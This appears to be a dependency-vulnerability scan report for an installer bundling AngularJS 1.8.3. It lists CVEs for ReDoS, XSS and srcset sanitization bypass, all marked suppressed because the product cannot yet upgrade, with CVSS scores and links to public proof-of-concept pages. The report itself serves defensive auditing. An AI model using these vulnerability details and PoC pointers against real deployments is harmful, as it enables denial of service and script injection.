[CVE-2022-25844](#) suppressed

The package angular after 1.7.0 are vulnerable to Regular Expression Denial of Service (ReDoS) by providing a custom locale rule that makes it possible to assign the parameter in posPre: ' '.repeat() of NUMBER\_FORMATS.PATTERNS[1].posPre with a very high value.  
\*\*Note:\*\* 1) This package has been deprecated and is no longer maintained. 2) The vulnerable versions are 1.7.0 and higher.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- HIGH (7.5)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RC:R/MAV:A

CVSSv2:

- Base Score: MEDIUM (5.0)
- Vector: /AV:N/AC:L/Au:N/C:N/I:N/A:P

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2WUSPYOTOMAZPDEFWPSCSPMNODRDKK3/>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7LNAKCNTVBIHWAUT3FKWV5N67PQXSZOO/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-m2h2-264f-f486>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2WUSPYOTOMAZPDEFWPSCSPMNODRDKK3/>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7LNAKCNTVBIHWAUT3FKWV5N67PQXSZOO/>
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [THIRD\\_PARTY\\_ADVISORY](#)

#### Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.7.0
- cpe:2.3:a:netapp:ontap\_select\_deploy\_administration\_utility:\*:\*:\*:\*:\*

#### **CVE-2024-21490** suppressed

This affects versions of the package angular from 1.3.0. A regular expression used to split the value of the ng-srcset directive is vulnerable to super-linear runtime due to backtracking. With large carefully-crafted input, this can result in catastrophic backtracking and cause a denial of service. **Note:** This package is EOL and will not receive any updates to address this issue. Users should migrate to [angular/core](https://www.npmjs.com/package/@angular/core).

#### CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

#### CVSSv3:

- HIGH (7.5)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RC:R/MAV:A

#### References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-4w4v-5hc9-xrr2>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-21490>
- info - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-6241746>
- info - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-6241747>
- info - <https://security.snyk.io/vuln/SNYK-JS-ANGULAR-6091113>
- info - <https://stackblitz.com/edit/angularjs-vulnerability-ng-srcset-redos>
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [THIRD\\_PARTY\\_ADVISORY](#)

#### Vulnerable Software & Versions (NVD):



- cpe:2.3:a:angularjs:angular.js:\*:\*:\*:\*:\* versions from (including) 1.3.0

#### **CVE-2022-25869** suppressed

All versions of the package angular; all versions of the package angularjs.core; all versions of the package angularjs are vulnerable to Cross-site Scripting (XSS) due to insecure page caching in the Internet Explorer browser, which allows interpolation of <textarea> elements.

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (6.1)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - [BROKEN\\_LINK](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-prc3-vjfx-vhm9>
- report@snyk.io - <https://neverendingsupport.github.io/angularjs-poc-cve-2022-25869>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-DOTNET-ANGULARJS-10771617>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-DOTNET-ANGULARJSCORE-6084031>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-2949783>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBANGULAR-2949784>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-2949782>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JS-ANGULAR-2949781>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\*

#### **CVE-2023-26116** suppressed

Versions of the package angular from 1.2.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the angular.copy() utility function due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-2vrf-hf26-jrp5>



- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.2.21; versions up to (including) 1.8.3

**CVE-2023-26117** suppressed

Versions of the package angular from 1.0.0 are vulnerable to Regular Expression Denial of Service (ReDoS) via the \$resource service due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-2qqx-w9hr-q5gx>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.0.0; versions up to (including) 1.8.3

**CVE-2023-26118** suppressed

Versions of the package angular from 1.4.9 are vulnerable to Regular Expression Denial of Service (ReDoS) via the <input type="url"> element due to the usage of an insecure regular expression in the input[url] functionality. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

#### References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-qwqh-hm9m-p5hr>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)

#### Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.4.9; versions up to (including) 1.8.3

[CVE-2024-8372](#) suppressed

Improper sanitization of the value of the 'srcset' attribute in AngularJS allows attackers to bypass common image source restrictions, which can also lead to a form of Content Spoofing [https://owasp.org/www-community/attacks/Content\\_Spoofing](https://owasp.org/www-community/attacks/Content_Spoofing) .

This issue affects AngularJS versions 1.3.0-rc.4 and greater.

#### Note:

The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see [here https://docs.angularjs.org/misc/version-support-status](https://docs.angularjs.org/misc/version-support-status) .

CWE-1289 Improper Validation of Unsafe Equivalence in Input, NVD-CWE-Other

Notes: We can not yet update to newer Angular Version

#### CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

#### References:

- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://codepen.io/herodevs/full/xxoQRNL/0072e627abe03e9cda373bc75b4c1017>
- info - <https://github.com/advisories/GHSA-m9gf-397r-hwpg>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-8372>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2024-8372>

#### Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.3.1; versions up to (including) 1.8.3
- cpe:2.3:a:angularjs:angularjs:1.3.0:rc4:\*:\*:\*:\*

- cpe:2.3:a:angularjs:angularjs:1.3.0:rc5:\*:\*:\*:\*:\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:-:\*:\*:\*:\*:linux:\*:\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:-:\*:\*:\*:\*:vsphere:\*:\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:-:\*:\*:\*:\*:windows:\*:\*

#### **CVE-2024-8373** suppressed

Improper sanitization of the value of the [srcset] attribute in <source> HTML elements in AngularJS allows attackers to bypass common image source restrictions, which can also lead to a form of Content Spoofing [https://owasp.org/www-community/attacks/Content\\_Spoofing](https://owasp.org/www-community/attacks/Content_Spoofing) .

This issue affects all versions of AngularJS.

Note:

The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see here <https://docs.angularjs.org/misc/version-support-status> .

CWE-791 Incomplete Filtering of Special Elements, NVD-CWE-Other

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

References:

- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://codepen.io/herodevs/full/bGPQgMp/8da9ce87e99403ee13a295c305ebfa0b>
- info - <https://github.com/advisories/GHSA-mqm9-c95h-x2p6>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-8373>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2024-8373>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions up to (including) 1.8.3
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:-:\*:\*:\*:\*:linux:\*:\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:-:\*:\*:\*:\*:vsphere:\*:\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:-:\*:\*:\*:\*:windows:\*:\*

#### **CVE-2025-2336** (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: medium

References:

- info - <https://codepen.io/herodevs/pen/bNGYaXx/412a3a4218387479898912f60c269c6c>
- info - <https://github.com/advisories/GHSA-4p4w-6hg8-63wx>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-2336>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-2336>

Vulnerable Software & Versions (RETIREJS):

#### **CVE-2025-4690** (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: medium

References:

- info - <https://codepen.io/herodevs/pen/RNNEPzP/751b91eab7730dff277523f3d50e4b77>
- info - <https://github.com/advisories/GHSA-hfff-63hg-f47j>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-4690>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-4690>

Vulnerable Software & Versions (RETIREJS):

**CVE-2025-0716** (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: low

References:

- info - <https://codepen.io/herodevs/pen/qEWQmpd/a86a0d29310e12c7a3756768e6c7b915>
- info - <https://github.com/advisories/GHSA-j58c-ww9w-pwp5>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-0716>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-0716>

Vulnerable Software & Versions (RETIREJS):

**End-of-Life: Long term support for AngularJS has been discontinued as of December 31, 2021** (RETIREJS) suppressed

End-of-Life: Long term support for AngularJS has been discontinued as of December 31, 2021

Notes: file name: remotegui.zip: angularjs.jar We can not yet update to newer Angular Version

Unscored:

- Severity: low

References:

- info - <https://docs.angularjs.org/misc/version-support-status>
- retid - 54

Vulnerable Software & Versions (RETIREJS):

## remotegui.zip: angular-cookies.jar: angular-cookies.js

**File Path:** /home/jenkins/workspace/cowork/Check-Product-Installer-for-Security-Problems/CoWorkInstaller/build/tmp/dependencies/i-net CoWork/plugins/remotegui.zip/angular-cookies.jar/META-INF/resources/webjars/angular-cookies/1.8.3/angular-cookies.js

**MD5:** e17187aea1f0e6dbd25722e34b754915

**SHA1:** 20f43f716b9fef7d72537bc1b0e5aa2bc480cee5

**SHA256:** f3291c552042f6d0c500167769912a78ab3ecec9917128b2d6ea8e7c6714bb97

**Referenced In Project/Scope:** CoWorkInstaller

### Evidence



### Suppressed Identifiers

- None

## Suppressed Vulnerabilities

### [CVE-2022-25844](#) suppressed

The package angular after 1.7.0 are vulnerable to Regular Expression Denial of Service (ReDoS) by providing a custom locale rule that makes it possible to assign the parameter in posPre: ' '.repeat() of NUMBER\_FORMATS.PATTERNS[1].posPre with a very high value.  
\*\*Note:\*\* 1) This package has been deprecated and is no longer maintained. 2) The vulnerable versions are 1.7.0 and higher.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- HIGH (7.5)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RC:R/MAV:A

CVSSv2:

- Base Score: MEDIUM (5.0)
- Vector: /AV:N/AC:L/Au:N/C:N/I:N/A:P

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2WUSPYOTOMAZPDEFWPSCSPMNODRDKK3/>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7LNAKCNTVBIHWAUT3FKWV5N67PQXSZOO/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-m2h2-264f-f486>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2WUSPYOTOMAZPDEFWPSCSPMNODRDKK3/>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7LNAKCNTVBIHWAUT3FKWV5N67PQXSZOO/>
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [THIRD\\_PARTY\\_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.7.0
- cpe:2.3:a:netapp:ontap\_select\_deploy\_administration\_utility:\*:\*:\*:\*:\*

### [CVE-2024-21490](#) suppressed

This affects versions of the package angular from 1.3.0. A regular expression used to split the value of the ng-srcset directive is vulnerable to super-linear runtime due to backtracking. With

large carefully-crafted input, this can result in catastrophic backtracking and cause a denial of service. **Note:** This package is EOL and will not receive any updates to address this issue. Users should migrate to [angular/core](https://www.npmjs.com/package/@angular/core).

#### CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- HIGH (7.5)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-4w4v-5hc9-xrr2>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-21490>
- info - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-6241746>
- info - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-6241747>
- info - <https://security.snyk.io/vuln/SNYK-JS-ANGULAR-6091113>
- info - <https://stackblitz.com/edit/angularjs-vulnerability-ng-srcset-redos>
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [THIRD\\_PARTY\\_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angular.js:\*:\*:\*:\*:\* versions from (including) 1.3.0

[CVE-2022-25869](#) suppressed

All versions of the package angular; all versions of the package angularjs.core; all versions of the package angularjs are vulnerable to Cross-site Scripting (XSS) due to insecure page caching in the Internet Explorer browser, which allows interpolation of <textarea> elements.

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (6.1)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - [BROKEN\\_LINK](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-prc3-vjfx-vhm9>
- report@snyk.io - <https://neverendingsupport.github.io/angularjs-poc-cve-2022-25869>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-DOTNET-ANGULARJS-10771617>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-DOTNET-ANGULARJSCORE-6084031>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-2949783>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBANGULAR-2949784>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-2949782>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JS-ANGULAR-2949781>



#### Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\*

[CVE-2023-26116](#) suppressed

Versions of the package angular from 1.2.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the angular.copy() utility function due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

#### References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-2vrf-hf26-jrp5>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
